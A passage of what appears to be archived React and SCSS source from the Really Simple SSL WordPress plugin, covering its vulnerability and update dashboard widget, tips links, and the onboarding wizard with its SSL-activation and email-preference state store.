        }

        if (score === 0) {
            vulClass = 'rsssl-success';
        } else if (score < 5) {
            vulClass = 'rsssl-warning';
        } else {
            vulClass = 'rsssl-error';
        }

        // if (!vulEnabled) vulClass = "rsssl-inactive";

    }

    const checkVulActive = () => {
        if (vulEnabled) {
            // iconVulEnabledColor = 'green';
            return (<></>)
        }

        return (
            <>
                <div className="rsssl-hardening-list-item">
                    <Icon name="info" color='yellow'/>
                    <p className={'rsssl-hardening-list-item-text'}> {__("Enable vulnerability detection", "really-simple-ssl")}</p>
                    <a href="#settings/vulnerabilities">{__("Enable", "really-simple-ssl")}</a>
                </div>
            </>
        )
    }

    const checkUpdates = () => {
        let icon = 'circle-check';
        let iconColor = 'green';
        if (updates > 0) {
            icon = 'info';
            iconColor = 'yellow';
        }
        if (updates >= 5) {
            icon = 'circle-times';
            iconColor = 'red';
        }

        if (updates) {
            return (
                <>
                    <div className="rsssl-hardening-list-item">
                        <Icon name={icon} color={iconColor}/>
                        <p className="rsssl-hardening-list-item-text">
                            {updateString}
                        </p>
                        <a href={rsssl_settings.plugins_url + "?plugin_status=upgrade"}
                           style={linkStyle}>{updateWordCapitalized}</a>
                    </div>

                </>
            )
        } else {
            return (
                <>
                    <div className="rsssl-hardening-list-item">
                        <Icon name={icon} color={iconColor}/>
                        <p className="rsssl-hardening-list-item-text">
                            {updateString}
                        </p>
                    </div>
                </>
            )

        }
    }

    const checkVul = () => {
        let icon = 'circle-check';
        let iconColor = 'green';
        if (vulnerabilityScore() > 0) {
            icon = 'info';
            iconColor = 'yellow';
        }
        if (vulnerabilityScore() >= 5) {
            icon = 'circle-times';
            iconColor = 'red';
        }
        if (!vulEnabled) {
            return (
                <>
                </>
            )
        }

        if (vulnerabilities) {
            return (
                <>
                    <div className="rsssl-hardening-list-item">
                        <Icon name={icon} color={iconColor}/>
                        <p className="rsssl-hardening-list-item-text">
                            {__("You have %s %d", "really-simple-ssl")
                                .replace("%s", vulnerabilities)
                                .replace("%d", vulnerabilityWord)
                            }
                        </p>
                        <a style={linkStyle} href={'#settings/vulnerabilities'}>{__('Learn more', 'really-simple-ssl')}</a>
                    </div>
                </>
            )
        } else {
            return (
                <>
                    <div className="rsssl-hardening-list-item">
                       <Icon name="circle-check" color='green'/>
                        <p className="rsssl-hardening-list-item-text">
                            {__("You have %s %d", "really-simple-ssl")
                                .replace("%d", vulnerabilityWord)
                                .replace("%s", vulnerabilities)
                            }
                        </p>
                    </div>
                </>
            )
        }

    }

    const linkStyle = {
        marginLeft: '0.3em'
    }
    const checknotEnabledHardeningFields = () => {
        if (notEnabledHardeningFields) {
            let icon = 'circle-check';
            let iconColor = 'green';
            if (notEnabledHardeningFields > 0) {
                icon = 'info';
                iconColor = 'yellow';
            }
            if (notEnabledHardeningFields >= 5) {
                icon = 'circle-times';
                iconColor = 'red';
            }
            return (
                <>
                    <div className="rsssl-hardening-list-item">
                        <Icon name={icon} color={iconColor}/>

                            <p className={"rsssl-hardening-list-item-text"}>
                                {__("You have %s open %d", "really-simple-ssl").replace("%s", notEnabledHardeningFields).replace('%d',hardeningWord)}
                            </p>
                            <a href="#settings/hardening">{__("Settings", "really-simple-ssl")}</a>
                    </div>
                </>
            )
        } else {
            return (<>
                <div className="rsssl-hardening-list-item">
                    <Icon name="circle-check" color='green'/>
                    <p className={"rsssl-hardening-list-item-text"}>{__("Hardening features are configured", "really-simple-ssl")}</p>
                </div>
            </>)
        }
    }

    return (
        <>
            {dataLoaded ?
            <div className={'rsssl-hardening'}>
                <div className="rsssl-gridblock-progress" ></div>
                <div className={"rsssl-hardening-select "  + vulClass}>
                    <div className="rsssl-hardening-select-item">
                        {vulEnabled ? <Icon color={iconVulColor} size={23} name="radar-duotone"></Icon> : <Icon size={23}  color={iconVulEnabledColor} name="satellite-dish-duotone"></Icon>}
                        <h2>{vulEnabled ? vulnerabilities : '?'}</h2>
                        <span className={"rsssl-badge " + badgeVulStyle}>{vulnerabilityWordCapitalized}</span>
                    </div>
                    <div className="rsssl-hardening-select-item">
                        { updates ? <Icon size={23} color={iconUpdateColor} name="rotate-exclamation-light"></Icon> : <Icon size={23} color={'black'} name="rotate-light"></Icon>}
                        <h2>{updates}</h2>
                        <span className={"rsssl-badge " + badgeUpdateStyle}>{updateWordCapitalized}</span>
                    </div>
                </div>
                <div className="rsssl-hardening-list">
                    {checknotEnabledHardeningFields()}
                    {checkVulActive()}
                    {checkVul()}
                    {checkUpdates()}
                </div>
            </div>
                : <div className="rsssl-hardening">
                    <div className="rsssl-gridblock-progress" ></div>
                    <div className="rsssl-hardening-select">
                        <div className="rsssl-hardening-select-item">
                            <Icon size={23} color={'grey'} name="radar-duotone"></Icon>
                            <h2>0</h2>
                            <span className={"rsssl-badge rsp-default"}>{vulnerabilityWordCapitalized}</span>
                        </div>
                        <div className="rsssl-hardening-select-item">
                            <Icon size={23} color={'grey'} name="rotate-exclamation-light"></Icon>
                            <h2>0</h2>
                            <span className={"rsssl-badge rsp-default"}>{updateWordCapitalized}</span>
                        </div>
                    </div>
                    <div className="rsssl-hardening-list">
                        <div className="rsssl-hardening-list-item">
                            <Icon color={'grey'} name="circle-check"></Icon>
                            <p className={"rsssl-hardening-list-item-text"}>{__("Loading...", "really-simple-ssl")}</p>
                        </div>
                        <div className="rsssl-hardening-list-item">
                            <Icon color={'grey'} name="circle-check"></Icon>
                            <p className={"rsssl-hardening-list-item-text"}>{__("Loading...", "really-simple-ssl")}</p>
                        </div>
                        <div className="rsssl-hardening-list-item">
                            <Icon color={'grey'} name="circle-check"></Icon>
                            <p className={"rsssl-hardening-list-item-text"}>{__("Loading...", "really-simple-ssl")}</p>
                        </div>
                    </div>
                </div>
            }
        </>
    )
}

export default Vulnerabilities;
really-simple-ssl/settings/src/Dashboard/TipsTricks/TipsTricks.js000064400000004300147510273070021177 0ustar00import {addUrlRef} from "../../utils/AddUrlRef";

const Tip = ({link, content}) => {
    return (
        <div className="rsssl-tips-tricks-element">
            <a href={link} target="_blank" rel="noopener noreferrer" title={content}>
                <div className="rsssl-icon">
                    <svg aria-hidden="true" focusable="false" role="img" xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512" height="15">
                        <path fill="var(--rsp-grey-300)" d="M256 512c141.4 0 256-114.6 256-256S397.4 0 256 0S0 114.6 0 256S114.6 512 256 512zM216 336h24V272H216c-13.3 0-24-10.7-24-24s10.7-24 24-24h48c13.3 0 24 10.7 24 24v88h8c13.3 0 24 10.7 24 24s-10.7 24-24 24H216c-13.3 0-24-10.7-24-24s10.7-24 24-24zm40-144c-17.7 0-32-14.3-32-32s14.3-32 32-32s32 14.3 32 32s-14.3 32-32 32z"/>
                    </svg>
                </div>
                <div className="rsssl-tips-tricks-content">{content}</div>
            </a>
        </div>
    )
}
const TipsTricks = () => {
    const items = [
        {
            content: "Why WordPress is (in)secure",
            link: 'https://really-simple-ssl.com/why-wordpress-is-insecure/',
        }, {
            content: "Always be ahead of vulnerabilities",
            link: 'https://really-simple-ssl.com/staying-ahead-of-vulnerabilities/',
        }, {
            content: "Harden your website's security",
            link: 'https://really-simple-ssl.com/hardening-your-websites-security/',
        }, {
            content: "Login protection as essential security",
            link: 'https://really-simple-ssl.com/login-protection-as-essential-security/',
        }, {
            content: "Protect site visitors with Security Headers",
            link: 'https://really-simple-ssl.com/protecting-site-visitors-with-security-headers',
        }, {
            content: "Enable an efficient and performant firewall",
            link: 'https://really-simple-ssl.com/enable-an-efficient-and-performant-firewall/',
        },
    ];

    return (
        <div className="rsssl-tips-tricks-container">
            {items.map((item, i) => <Tip key={"trick-"+i} link={addUrlRef(item.link)} content={item.content} /> ) }
        </div>
    );

}
export default TipsTricksreally-simple-ssl/settings/src/Dashboard/TipsTricks/TipsTricksFooter.js000064400000000634147510273070022364 0ustar00import { __ } from '@wordpress/i18n';
import {addUrlRef} from "../../utils/AddUrlRef";

const TipsTricksFooter = () => {


    return (
        <>
            <a href={addUrlRef("https://really-simple-ssl.com/knowledge-base-overview/")} target="_blank"rel="noopener noreferrer" className="button button-secondary">{ __("Documentation", "really-simple-ssl")}</a>
        </>

);

}
export default TipsTricksFooterreally-simple-ssl/settings/src/Onboarding/Onboarding.js000064400000007464147510273070017274 0ustar00import { useEffect } from "@wordpress/element";
import { __ } from '@wordpress/i18n';
import Icon from "../utils/Icon";
import Placeholder from '../Placeholder/Placeholder';
import useFields from "../Settings/FieldsData";
import useOnboardingData from "./OnboardingData";
import OnboardingControls from "./OnboardingControls";
import StepEmail from "./Steps/StepEmail";
import StepConfig from "./Steps/StepConfig";
import StepLicense from "./Steps/StepLicense";
import StepFeatures from "./Steps/StepFeatures";
import StepPlugins from "./Steps/StepPlugins";
import StepPro from "./Steps/StepPro";
import './PremiumItem.scss';
import './checkbox.scss';
import './onboarding.scss';
import DOMPurify from 'dompurify';
const Onboarding = ({isModal}) => {
    const { fetchFieldsData, fieldsLoaded} = useFields();
    const {
        getSteps,
        error,
        networkwide,
        sslEnabled,
        dataLoaded,
        processing,
        currentStep,
        currentStepIndex,
        setCurrentStepIndex,
        networkActivationStatus,
        networkProgress,
        activateSSLNetworkWide,
    } = useOnboardingData();

    useEffect( () => {
        if (networkwide && networkActivationStatus==='main_site_activated') {
            //run networkwide activation with a delay
            setTimeout( () => {
                activateSSLNetworkWide();
            }, 1000);
        }
    }, [networkActivationStatus, networkProgress])

    useEffect(() => {
        if ( !fieldsLoaded ) {
            fetchFieldsData();
        }
    }, []);

    useEffect( () => {
        const run = async () => {
            await getSteps(false);

            if (dataLoaded && steps.length > 0) {
                setCurrentStepIndex(0); // Always start at the first step
            }
        }
        run();
    }, [])

    if (error){
        return (
            <Placeholder lines="3" error={error}></Placeholder>
        )
    }
    let processingClass = '';//processing ? 'rsssl-processing' : '';
    //get 'other_host_type' field from fields

    return (
        <>
            { !dataLoaded &&
                <>
                    <div className="rsssl-onboarding-placeholder">
                        <ul>
                            <li><Icon name = "loading" color = 'grey' />{__("Fetching next step...", "really-simple-ssl")}</li>
                        </ul>
                        <Placeholder lines="3" ></Placeholder>
                    </div>
                </>
            }
            {
                dataLoaded &&
                <div className={ processingClass+" rsssl-"+currentStep.id }>
                    { currentStep.id === 'activate_ssl' &&
                        <>
                            <StepConfig isModal={isModal}/>
                        </>
                    }
                    { currentStep.id === 'activate_license' &&
                        <>
                            <StepLicense />
                        </>
                    }
                    { currentStep.id === 'features'&&
                        <>
                            <StepFeatures />
                        </>
                    }
                    { currentStep.id === 'email'&&
                        <>
                            <StepEmail />
                        </>
                    }

                    { currentStep.id === 'plugins' &&
                        <>
                            <StepPlugins />
                        </>
                    }

                    { currentStep.id === 'pro' &&
                        <>
                            <StepPro />
                        </>
                    }

                    { !isModal &&
                        <OnboardingControls isModal={false}/>
                    }
                </div>
            }
        </>
    )
}

export default Onboarding;really-simple-ssl/settings/src/Onboarding/Steps/StepEmail.js000064400000002607147510273070020165 0ustar00import {memo, useEffect} from "@wordpress/element";
import {__} from "@wordpress/i18n";
import useOnboardingData from "../OnboardingData";
import useFields from "../../Settings/FieldsData";

const StepEmail = () => {
    const { fetchFieldsData, getFieldValue, fieldsLoaded} = useFields();
    const {
        email,
        setEmail,
        includeTips,
        setIncludeTips,
    } = useOnboardingData();

    useEffect(() => {
        if ( !fieldsLoaded ) {
            fetchFieldsData();
        }
    }, []);

    useEffect( () => {
        if (getFieldValue('notifications_email_address') !== '' && email==='') {
            setEmail(getFieldValue('notifications_email_address'))
        }
    }, [])
    return (
        <>
            <div>
                <input type="email" value={email} placeholder={__("Your email address", "really-simple-ssl")} onChange={(e) => setEmail(e.target.value)} />
            </div>
            <div>
                <label>
                    <input onChange={ (e) => setIncludeTips(e.target.checked)} type="checkbox" checked={includeTips} />{__("Include 6 Tips & Tricks to get started with Really Simple Security.","really-simple-ssl")}&nbsp;<a href="https://really-simple-ssl.com/legal/privacy-statement/" target="_blank">{__("Privacy Statement", "really-simple-ssl")}</a>
                </label>
            </div>
        </>
    );
}
export default memo(StepEmail)really-simple-ssl/settings/src/Onboarding/Steps/StepLicense.js000064400000002011147510273070020505 0ustar00import {memo, useEffect, useRef} from "@wordpress/element";
import useOnboardingData from "../OnboardingData";
import License from "../../Settings/License/License";
import useFields from "../../Settings/FieldsData";
import useLicense from "../../Settings/License/LicenseData";

const StepLicense = () => {
    const {
        currentStepIndex,
        setCurrentStepIndex,
    } = useOnboardingData();
    const { getField } = useFields();
    const {licenseStatus} = useLicense();
    const pro_plugin_active = rsssl_settings.pro_plugin_active;

    //skip step if either already active, or if not pro
    useEffect( () => {
        if ( ! pro_plugin_active || licenseStatus === 'valid' ) {
            setCurrentStepIndex(currentStepIndex + 1);
        }
    }, [licenseStatus, pro_plugin_active] );

    return (
        <div className={"rsssl-license"}>
            <License
                field={getField('license')}
                isOnboarding={true}
            />
        </div>
    );
};

export default memo(StepLicense);really-simple-ssl/settings/src/Onboarding/Steps/StepPro.js000064400000002140147510273070017666 0ustar00import {memo} from "@wordpress/element";
import useOnboardingData from "../OnboardingData";
import CheckboxItem from "../Items/CheckboxItem";
import PremiumItem from "../Items/PremiumItem";

const StepPro = () => {
    const {
        currentStep,
    } = useOnboardingData();

    let premiumItems = currentStep.items;
    return (
        <>
            <ul>
                {!rsssl_settings.pro_plugin_active && premiumItems && (
                    <div className="rsssl-premium-items">
                        {premiumItems.map((item, index) => (
                            <PremiumItem key={'step-pro' + index} item={item}/>
                        ))}
                    </div>
                )}
                {rsssl_settings.pro_plugin_active && premiumItems && (
                    <div className="rsssl-checkbox-items">
                        {premiumItems.map((item, index) => (
                            <CheckboxItem key={'step-pro' + index} item={item}/>
                        ))}
                    </div>
                )}
            </ul>
        </>
    );
}
export default memo(StepPro);really-simple-ssl/settings/src/Onboarding/Steps/StepFeatures.js000064400000002261147510273070020710 0ustar00import {memo} from "@wordpress/element";
import useOnboardingData from "../OnboardingData";
import CheckboxItem from "../Items/CheckboxItem";
import PremiumItem from "../Items/PremiumItem";

const StepFeatures = () => {
    const {
        currentStep
    } = useOnboardingData();

    let items = currentStep.items ? currentStep.items : [];
    let freeItems = items.filter( (item) => !item.premium );
    let premiumItems = items.filter( (item) => item.premium );
    return (
        <>
            <ul>
                {freeItems && (
                    <div className="rsssl-checkbox-items">
                        {freeItems.map((item, index) => (
                            <CheckboxItem key={'step-features' + index} item={item}/>
                        ))}
                    </div>
                )}
                {premiumItems && (
                    <div className="rsssl-premium-items">
                        {premiumItems.map((item, index) => (
                            <PremiumItem key={'step-features' + index} item={item}/>
                        ))}
                    </div>
                )}
            </ul>
        </>
    );
}
export default memo(StepFeatures)really-simple-ssl/settings/src/Onboarding/Steps/StepPlugins.js000064400000001571147510273070020556 0ustar00import {memo, useEffect} from "@wordpress/element";
import useOnboardingData from "../OnboardingData";
import CheckboxItem from "../Items/CheckboxItem";

const StepPlugins = () => {
    const {
        currentStep,
        currentStepIndex,
        setCurrentStepIndex,
    } = useOnboardingData();

    useEffect(()=> {
        //if all plugins are already activated, we skip the plugins step
        let plugins = currentStep.items;
        if ( plugins.filter(item => item.action !== 'none').length === 0) {
            setCurrentStepIndex(currentStepIndex+1);
        }
    }, [] );

    let plugins = currentStep.items;

    return (
        <>
            <ul>
                { plugins && plugins.map( (item, index) => <CheckboxItem key={'step-plugins'+index} item={item} disabled={item.action==='none'} />) }
            </ul>
        </>
    );
}
export default memo(StepPlugins);really-simple-ssl/settings/src/Onboarding/Steps/StepConfig.js000064400000002362147510273070020341 0ustar00import { memo, useEffect } from "@wordpress/element";
import { __ } from "@wordpress/i18n";
import useOnboardingData from "../OnboardingData";
import useFields from "../../Settings/FieldsData";
import Host from "../../Settings/Host/Host";
import ListItem from "../Items/ListItem";

const StepConfig = ({ isModal }) => {
    const { fetchFieldsData, getField, fieldsLoaded, updateField, setChangedField, saveFields } = useFields();
    const { currentStep } = useOnboardingData();

    useEffect(() => {
        if (!fieldsLoaded) {
            fetchFieldsData();
        }
    }, []);

    let otherHostsField = fieldsLoaded && getField('other_host_type');
    let items = currentStep.items ? currentStep.items : [];

    if (rsssl_settings.cloudflare && !items.some(item => item.id === 'cf')) {
        let cfItem = {
            status: 'success',
            title: "CloudFlare",
            id: 'cf'
        };
        items.unshift(cfItem);
    }

    return (
        <>
            {isModal && <Host field={otherHostsField} showDisabledWhenSaving={false} />}
            <ul>
                {items && items.map((item, index) => <ListItem key={'step-config-' + index} item={item} />)}
            </ul>
        </>
    );
};

export default memo(StepConfig);
really-simple-ssl/settings/src/Onboarding/OnboardingModal.js000064400000004434147510273070020243 0ustar00import {useEffect} from "@wordpress/element";
import Onboarding from "./Onboarding";
import Placeholder from '../Placeholder/Placeholder';
import { __ } from '@wordpress/i18n';
import Icon from "../utils/Icon";
import useOnboardingData from "./OnboardingData";
import useFields from "../Settings/FieldsData";
import RssslModal from "../../../modal/src/components/Modal/RssslModal";
import OnboardingControls from "./OnboardingControls";

const OnboardingModal = () => {
    const {footerStatus, showOnboardingModal, fetchOnboardingModalStatus, modalStatusLoaded, currentStep, dismissModal} = useOnboardingData();
    const {fieldsLoaded} = useFields();

    useEffect(() => {
        if ( !modalStatusLoaded ) {
            fetchOnboardingModalStatus();
        }
    }, []);

    useEffect(()=> {
        if ( showOnboardingModal ) {
            dismissModal(false);
        }
    }, [showOnboardingModal]);

    const modalContent = () => {
        return (
            <>
                { !fieldsLoaded &&
                    <>
                        <ul>
                            <li><Icon name = "loading" />{__("Please wait while we detect your setup", "really-simple-ssl")}</li>
                        </ul>
                        <Placeholder lines="3"></Placeholder>
                    </>
                }
                { fieldsLoaded && <Onboarding isModal={true} /> }
            </>
        )
    }

    const setOpen = (open) => {
        if ( !open ) {
            dismissModal(true);
        }
    }

    const handleFooterStatus = () => {
        if ( footerStatus.length === 0 ) {
            return false;
        }

        return (
            <>
                <Icon name = "loading" color = 'grey' />
                {footerStatus}
            </>
        )
    }

    return (
        <>
            <RssslModal
                className={"rsssl-onboarding-modal"}
                title={currentStep.title}
                subTitle={currentStep.subtitle}
                currentStep = {currentStep}
                content={modalContent()}
                isOpen={showOnboardingModal}
                setOpen={setOpen}
                buttons = <OnboardingControls isModal={true} />
            footer = {handleFooterStatus() }
            />
        </>
    )
}

export default OnboardingModal;really-simple-ssl/settings/src/Onboarding/Items/ListItem.js000064400000003745147510273070020023 0ustar00import Icon from "../../utils/Icon";
import {memo} from "@wordpress/element";
import {__} from "@wordpress/i18n";
import useOnboardingData from "../OnboardingData";

const ListItem = ({item}) => {
    let { title, status, id } = item;
    const {
        overrideSSL,
        setOverrideSSL,
        certificateValid,
    } = useOnboardingData();
    const statuses = {
        'inactive': {
            'icon': 'info',
            'color': 'grey',
        },
        'warning': {
            'icon': 'circle-times',
            'color': 'orange',
        },
        'error': {
            'icon': 'circle-times',
            'color': 'red',
        },
        'success': {
            'icon': 'circle-check',
            'color': 'green',
        },
        'processing': {
            'icon': 'loading',
            'color': 'black',
        },
    };

    const statusIcon = item.status!=='success' && item.current_action === 'none' ? 'empty' : statuses[status].icon;
    const statusColor = statuses[status].color;
    return (
        <>
            <li>
                <Icon name = {statusIcon} color = {statusColor} />
                {title}
                { id==='certificate' && !certificateValid &&
                    <>&nbsp;
                        <a href="#" onClick={ (e) => refreshSSLStatus(e)}>
                        { __("Check again", "really-simple-ssl")}
                        </a>
                    </>
                }
             </li>
            { id==='certificate' && !certificateValid &&
                <li>
                    <label className="rsssl-override-detection-toggle">
                        <input
                            onChange={ (e) => setOverrideSSL(e.target.checked)}
                            type="checkbox"
                            checked={overrideSSL} />
                        {__("Override SSL detection.","really-simple-ssl")}
                    </label>
                </li>
            }
        </>

    )
}
export default memo(ListItem)really-simple-ssl/settings/src/Onboarding/Items/PremiumItem.js000064400000000454147510273070020520 0ustar00import {memo} from "@wordpress/element";
const PremiumItem = ({item}) => {
    let { title } = item;
    return (
        <li>
            <div className="rsssl-modal-premium-container">
                PRO
            </div>
            {title}
        </li>
    )
}
export default memo(PremiumItem)really-simple-ssl/settings/src/Onboarding/Items/CheckboxItem.js000064400000001367147510273070020634 0ustar00import useOnboardingData from "../OnboardingData";
import {memo} from "@wordpress/element";

const CheckboxItem = ({item, disabled}) => {
    const {
        updateItemStatus,
        currentStep
    } = useOnboardingData();
    let { title, description, id, activated } = item;
    return (
        <li>
            <label className="rsssl-modal-checkbox-container">
                <input type="checkbox" disabled={disabled} checked={activated} value={id} id={id} onChange={(e) => updateItemStatus(currentStep.id, id, null, null, e.target.checked )}/>
                <span className="rsssl-checkmark"></span>
            </label>
            {title}
            {description && <> - {description}</>}
        </li>
    )
}
export default memo(CheckboxItem)really-simple-ssl/settings/src/Onboarding/checkbox.scss000064400000003050147510273070017322 0ustar00.rsssl-modal-body, .rsssl-le-activate_ssl {
  .rsssl-modal-checkbox-container {
    display: block;
    position: relative;
    margin-bottom: 5px;
    padding-left: 10px;
    cursor: pointer;
    font-size: 12px;
    -webkit-user-select: none;
    -moz-user-select: none;
    -ms-user-select: none;
    user-select: none;
    overflow:unset !important;

    &:hover input ~ .rsssl-checkmark {
      background-color: var(--rsp-grey-400);
      border: 1px solid var(--rsp-grey-400);
      border-radius: 3px;
    }

    input:checked ~ .rsssl-checkmark {
      background-color: var(--rsp-dark-blue);
      border: 1px solid var(--rsp-dark-blue);

    }

    input:disabled ~ .rsssl-checkmark {
      background-color: var(--rsp-grey-400);
      border: 1px solid var(--rsp-grey-400);

    }

    input:checked ~ .rsssl-checkmark:after {
      display: block;
    }

    .rsssl-checkmark::after {
      left: 6px;
      top: 3px;
      width: 5px;
      height: 7px;
      border: solid white;
      border-width: 0 2px 2px 0;
      transform: rotate(45deg);
      -webkit-transform: rotate(45deg);
      -ms-transform: rotate(45deg);
    }

    input {
      height: 0;
      width: 0;
      opacity: 0;
      cursor: pointer;
    }

    .rsssl-checkmark {
      background-color: var(--rsp-grey-300);
      border: 1px solid var(--rsp-grey-400);

      position: absolute;
      top: 0;
      left: 0;
      height: var(--rsp-fs-600);
      aspect-ratio: 1;
    }

    .rsssl-checkmark::after {
      content: "";
      position: absolute;
      display: none;
    }
  }
}
really-simple-ssl/settings/src/Onboarding/OnboardingData.js000064400000023171147510273070020057 0ustar00import {create} from 'zustand';
import {produce} from 'immer';

import * as rsssl_api from "../utils/api";
import {__} from "@wordpress/i18n";
const useOnboardingData = create(( set, get ) => ({
    steps: [],
    currentStepIndex: 0,
    currentStep: {},
    error: false,
    networkProgress: 0,
    networkActivationStatus: '',
    certificateValid: '',
    networkwide: false,
    sslEnabled: false,
    overrideSSL: false,
    showOnboardingModal: false,
    modalStatusLoaded: false,
    dataLoaded: false,
    processing: false,
    email: '',
    includeTips:false,
    sendTestEmail:true,
    overrideSSLDetection:false,
    footerStatus: '',
    setFooterStatus: (footerStatus) => {
        set({footerStatus:footerStatus})
    },
    setIncludeTips: (includeTips) => {
        set(state => ({ includeTips }))
    },
    setSendTestEmail: (sendTestEmail) => {
        set(state => ({ sendTestEmail }))
    },
    setEmail: (email) => {
        set(state => ({ email }))
    },
    setShowOnboardingModal: (showOnboardingModal) => {
        set(state => ({ showOnboardingModal }))
    },
    setProcessing: (processing) => {
        set(state => ({ processing }))
    },
    setCurrentStepIndex: (currentStepIndex) => {
        const currentStep = get().steps[currentStepIndex];
        set(state => ({ currentStepIndex, currentStep }))
    },
    dismissModal: async (dismiss) => {
        let data={};
        data.dismiss = dismiss;
        //dismiss is opposite of showOnboardingModal, so we check the inverse.
        set(() => ({showOnboardingModal: !dismiss}));
        await rsssl_api.doAction('dismiss_modal', data);
    },
    setOverrideSSL: async (override) => {
        set({overrideSSL: override});
        let data = {
            overrideSSL: override,
        };
        await rsssl_api.doAction('override_ssl_detection',data );
    },
    activateSSL: () => {
        set((state) => ({processing:true}));
        rsssl_api.runTest('activate_ssl' ).then( async ( response ) => {
            set((state) => ({processing:false}));
            get().setCurrentStepIndex( get().currentStepIndex+1 );
            //change url to https, after final check
            if ( response.success ) {
                if ( response.site_url_changed ) {
                    window.location.reload();
                } else {
                    if ( get().networkwide ) {
                        set(state => ({ networkActivationStatus:'main_site_activated' }))
                    }
                }

                set({ sslEnabled: true})
            }
        });
    },
    saveEmail:() => {
        get().setFooterStatus( __("Updating email preferences..", "really-simple-ssl") );
        let data={};
        data.email = get().email;
        data.includeTips = get().includeTips;
        data.sendTestEmail = get().sendTestEmail;
        set((state) => ({processing:true}));
        rsssl_api.doAction('update_email', data).then(( response ) => {
            set((state) => ({processing:false}));
            get().setFooterStatus('' );
        });
    },
    updateItemStatus: (stepId, id, action, status, activated) => {
        const index = get().steps.findIndex(item => { return item.id===stepId; });
        const itemIndex = get().steps[index].items.findIndex(item => {return item.id===id;});
        set(
            produce((state) => {
                if (typeof action !== 'undefined') state.steps[index].items[itemIndex].action = action;
                if (typeof status !== 'undefined') state.steps[index].items[itemIndex].status = status;
                if (typeof activated !== 'undefined') state.steps[index].items[itemIndex].activated = activated;
            })
        )
        let currentStep = get().steps[get().currentStepIndex];
        set(
            produce((state) => {
                    state.currentStep = currentStep;
                }
            ))
    },
    fetchOnboardingModalStatus: async () => {
        rsssl_api.doAction('get_modal_status').then((response) => {
            set({
                showOnboardingModal: !response.dismissed,
                modalStatusLoaded: true,
            })
        });
    },
    setShowOnBoardingModal: (showOnboardingModal) => set(state => ({ showOnboardingModal })),
    pluginInstaller: async (id, action, title) => {
        if ( !action ) {
            return;
        }

        set(() => ({processing:true}));
        get().updateItemStatus('plugins', id, action, 'processing');
        get().setFooterStatus(__("Installing %d...", "really-simple-ssl").replace("%d", title));

        let nextAction = await processAction(action, id);
        get().updateItemStatus('plugins', id, nextAction);

        if ( nextAction!=='none' && nextAction!=='completed') {
            get().setFooterStatus(__("Activating %d...", "really-simple-ssl").replace("%d", title));
            nextAction = await processAction(nextAction, id);
            get().updateItemStatus('plugins', id, nextAction);
        } else {
            get().setFooterStatus('');
        }
        set((state) => ({processing:false}));
    },
    getSteps: async (forceRefresh) => {
        const {steps, networkActivationStatus, certificateValid, networkProgress, networkwide, overrideSSL, error, sslEnabled, upgradedFromFree} = await retrieveSteps(forceRefresh);
        //if ssl is already enabled, the server will send only one step. In that case we can skip the below.
        //it's only needed when SSL is activated just now, client side.
        let currentStepIndex = 0;

        if ( ! upgradedFromFree && ( sslEnabled || (networkwide && networkActivationStatus === 'completed' ) ) ) {
            currentStepIndex = 1;
        }

        set({
            steps: steps,
            currentStepIndex:currentStepIndex,
            currentStep: steps[currentStepIndex],
            networkActivationStatus: networkActivationStatus,
            certificateValid: certificateValid,
            networkProgress: networkProgress,
            networkwide: networkwide,
            overrideSSL: overrideSSL,
            sslEnabled: sslEnabled,
            dataLoaded: true,
            error:error,
            // licenseField: licenseField,
        });

        if (networkActivationStatus==='completed') {
            set( {networkProgress: 100} );
        }
    },
    refreshSSLStatus: (e) => {
        e.preventDefault();
        set( {processing: true} );
        set(
            produce((state) => {
                const stepIndex = state.steps.findIndex(step => {
                    return step.id==='activate_ssl';
                });
                const step = state.steps[stepIndex];
                step.items.forEach(function(item, j){
                    if (item.status==='error') {
                        step.items[j].status = 'processing';
                        step.items[j].title = __("Re-checking SSL certificate, please wait...","really-simple-ssl");
                    }
                });
                state.steps[stepIndex] = step;
            })
        )

        setTimeout(async function () {
            const {
                steps,
                certificateValid,
                error,
            } = await retrieveSteps(true);
            set({
                steps: steps,
                certificateValid: certificateValid,
                processing: false,
                error: error,
            });
        }, 1000) //add a delay, otherwise it's so fast the user may not trust it.
    },
    activateSSLNetworkWide: () => {
        let progress = get().networkProgress;
        if (typeof progress !== 'undefined') {
            get().setFooterStatus(__("%d% of subsites activated.").replace('%d', progress));
        }
        if (get().networkProgress>=100) {
            set({
                sslEnabled: true,
                networkActivationStatus:'completed'
            });
            return;
        }
        set( () => ({processing: true}));
        rsssl_api.runTest('activate_ssl_networkwide' ).then( ( response ) => {
            if (response.success) {
                set({
                    networkProgress: response.progress,
                    processing:false,
                });
                get().setFooterStatus(__("%d% of subsites activated.").replace('%d', response.progress));

                if (response.progress>=100) {
                    get().setFooterStatus('');
                    set({
                        sslEnabled: true,
                        networkActivationStatus:'completed'
                    });
                }
            }
        });
    }
}));

const retrieveSteps = (forceRefresh) => {
    let data={};
    data.forceRefresh = forceRefresh;
    return rsssl_api.doAction('onboarding_data', data).then( ( response ) => {
        let steps = response.steps;
        let sslEnabled=  response.ssl_enabled;
        let networkActivationStatus=  response.network_activation_status;
        let certificateValid = response.certificate_valid;
        let networkProgress = response.network_progress;
        let networkwide = response.networkwide;
        let overrideSSL = response.ssl_detection_overridden;
        let error = response.error;
        let upgradedFromFree = response.rsssl_upgraded_from_free;
        return {steps, networkActivationStatus, certificateValid, networkProgress, networkwide, overrideSSL, error, sslEnabled, upgradedFromFree};
    });
}

const processAction = async (action, id) => {
    let data={};
    data.id = id;
    return await rsssl_api.doAction(action, data).then( async ( response ) => {
        if ( response.success ){
            return response.next_action;
        } else {
            return 'failed';
        }
    }).catch(error => {
        return 'failed';
    });
}

export default useOnboardingData;really-simple-ssl/settings/src/Onboarding/PremiumItem.scss000064400000000200147510273070017763 0ustar00.rsssl-modal-premium-container {
  background-color: var(--rsp-dark-blue);
  color:#fff;
  padding:0 5px;
  margin-right:22px;
}really-simple-ssl/settings/src/Onboarding/OnboardingControls.js000064400000021471147510273070021012 0ustar00import { Button } from '@wordpress/components';
import { __ } from '@wordpress/i18n';
import useMenu from "../Menu/MenuData";
import useFields from "../Settings/FieldsData";
import useOnboardingData from "./OnboardingData";
import useProgress from "../Dashboard/Progress/ProgressData";
import useRiskData from "../Settings/RiskConfiguration/RiskData";
import useSslLabs from "../Dashboard/SslLabs/SslLabsData";
import useLicense from "../Settings/License/LicenseData";

const OnboardingControls = ({isModal}) => {
    const { getProgressData} = useProgress();
